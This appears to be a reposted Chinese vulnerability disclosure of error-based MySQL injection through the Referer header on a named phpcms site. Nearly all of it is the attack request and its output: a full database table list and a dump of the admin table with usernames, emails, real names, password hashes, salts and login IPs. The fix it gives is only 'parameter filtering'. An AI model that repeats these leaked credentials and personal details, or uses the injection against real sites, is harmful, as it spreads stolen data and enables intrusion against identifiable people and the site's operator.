phpcms mysql 事务_phpcms某站点MySQL报错注入

phpcms某站点MySQL报错注入

Referer可注入：GET /index.php HTTP/1.1Referer: 123*User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 8_0 like Mac OS X) AppleWebKit/600.1.3 (KHTML, like Gecko) Version/8.0 Mobile/12A4345d Safari/600.1.4Cookie: PHPSESSID=qhncam3i8qper9cd21l275k017Host: update.phpcms.cnConnection: Keep-aliveAccept-Encoding: gzip,deflateAccept: */*current user: 'phpcms_cn_user@%'current database: 'phpcms_cn'Database: phpcms_cn+--------------------------+| v9_admin || v9_admin_panel || v9_admin_role || v9_admin_role_priv || v9_announce || v9_app_log_day || v9_app_log_total || v9_appcenter || v9_appcenter_data || v9_apps || v9_apps_content || v9_attachment || v9_attachment_index || v9_badword || v9_block || v9_block_history || v9_block_priv || v9_buycar || v9_cache || v9_category || v9_category_priv || v9_check_email || v9_collection_content || v9_collection_history || v9_collection_node || v9_collection_program || v9_comment || v9_comment_check || v9_comment_data_1 || v9_comment_relation || v9_comment_setting || v9_comment_table || v9_content_check || v9_copyfrom || v9_datacall || v9_dbsource || v9_developer || v9_dianping || v9_dianping_data || v9_dianping_type || v9_down || v9_down_data || v9_downservers || v9_edu || v9_edu_data || v9_en_down || v9_en_down_data || v9_en_news || v9_en_news_data || v9_extend_setting || v9_favorite || v9_finance || v9_friend || v9_hits || v9_info || v9_info_data || v9_ipbanned || v9_kefu_online || v9_kefu_process || v9_key || v9_keylink || v9_keyword || v9_keyword_data || v9_license || v9_license_logs || v9_link || v9_linkage || v9_log || v9_loveit || v9_loveit_mylove || v9_member || v9_member_address || v9_member_detail || v9_member_en || v9_member_group || v9_member_menu || v9_member_verify || v9_member_vip || v9_menu || v9_message || v9_message_data || v9_message_group || v9_miaosha || v9_miaosha_data || v9_model || v9_model_field || v9_module || v9_mood || v9_news || v9_news_data || v9_order || v9_order_complaint || v9_page || v9_pai || v9_pai_data || v9_pay_account || v9_pay_payment || v9_pay_record || v9_pay_spend || v9_pl || v9_pl_fee || v9_plug || v9_plug_data || v9_plugin || v9_plugin_var || v9_position || v9_position_data || v9_poster || v9_poster_201309 || v9_poster_201310 || v9_poster_201311 || v9_poster_201403 || v9_poster_201404 || v9_poster_201405 || v9_poster_201406 || v9_poster_201407 || v9_poster_201408 || v9_poster_201409 || v9_poster_201410 || v9_poster_201411 || v9_poster_201412 || v9_poster_201501 || v9_poster_201502 || v9_poster_201503 || v9_poster_201504 || v9_poster_201505 || v9_poster_201506 || v9_poster_space || v9_product || v9_product_data || v9_queue || v9_release_point || v9_score_vote || v9_search || v9_search_keyword || v9_session || v9_site || v9_sms_address || v9_sms_allowsend_ip || v9_sms_app || v9_sms_blacklist || v9_sms_check_queue || v9_sms_group || v9_sms_md5 || v9_sms_news || v9_sms_news_data || v9_sms_paylist || v9_sms_product || v9_sms_receive || v9_sms_scene || v9_sms_send_queue || v9_sms_service_queue_gid || v9_sms_service_report || v9_sms_tk || v9_sms_tpl || v9_special || v9_special_c_data || v9_special_content || v9_sphinx_counter || v9_sso_admin || v9_sso_applications || v9_sso_members || v9_sso_messagequeue || v9_sso_session || v9_sso_settings || v9_task || v9_task_quote || v9_task_stage || v9_template || v9_template_bak || v9_template_data || v9_times || v9_tuan || v9_type || v9_update_items || v9_update_notice || v9_update_referer || v9_update_site || v9_urlrule || v9_video_1 || v9_video_1_data || v9_visitor || v9_vote_data || v9_vote_option || v9_vote_subject || v9_wap || v9_wap_type || v9_workflow || v9_xzzd || v9_xzzd_data || v9_yp_certificate || v9_yp_company || v9_yp_design || v9_yp_design_data || v9_yp_guestbook || v9_yp_plug || v9_yp_plug_data || v9_yp_relation || v9_yp_template || v9_yp_template_data |+--------------------------+Database: phpcms_cnTable: v9_admin+--------+--------+--------------------------------------------------+----------------------+---------+--------------+----------+----------------------------------+-----------------+---------------+| roleid | userid | card | email | encrypt | username | realname | password | lastloginip | lastlogintime |+--------+--------+--------------------------------------------------+----------------------+---------+--------------+----------+----------------------------------+-----------------+---------------+| 1 | 1 | CQUHK1tTJ0NJVSArWxwDWCoBH3ItLCdLNlBQIFtYBwBfVnMC | wangdongw | z52Jxg | phpcms || 710de87fff574e2123ec793e333c1bad | 114.251.167.194 | 1302248539 || 1 | 102 || zhangming | VBqZUE | zhangmingxue | 张明雪 | 0664400c18b3fe8a28336493dc291372 | 10.228.132.12 | 1434703129 || 1 | 101 || mayuhui@ku6.com | dbtrn6 | mayuhui | 马玉辉 | 66685d46c2547db24c095798047ef375 | 10.228.132.7 | 1434699380 |+--------+--------+--------------------------------------------------+----------------------+---------+--------------+----------+----------------------------------+-----------------+---------------+解决方案：

参数过滤

免责申明：本栏目所发资料信息部分来自网络，仅供大家学习、交流。我们尊重原创作者和单位，支持正版。若本文侵犯了您的权益。请点击这里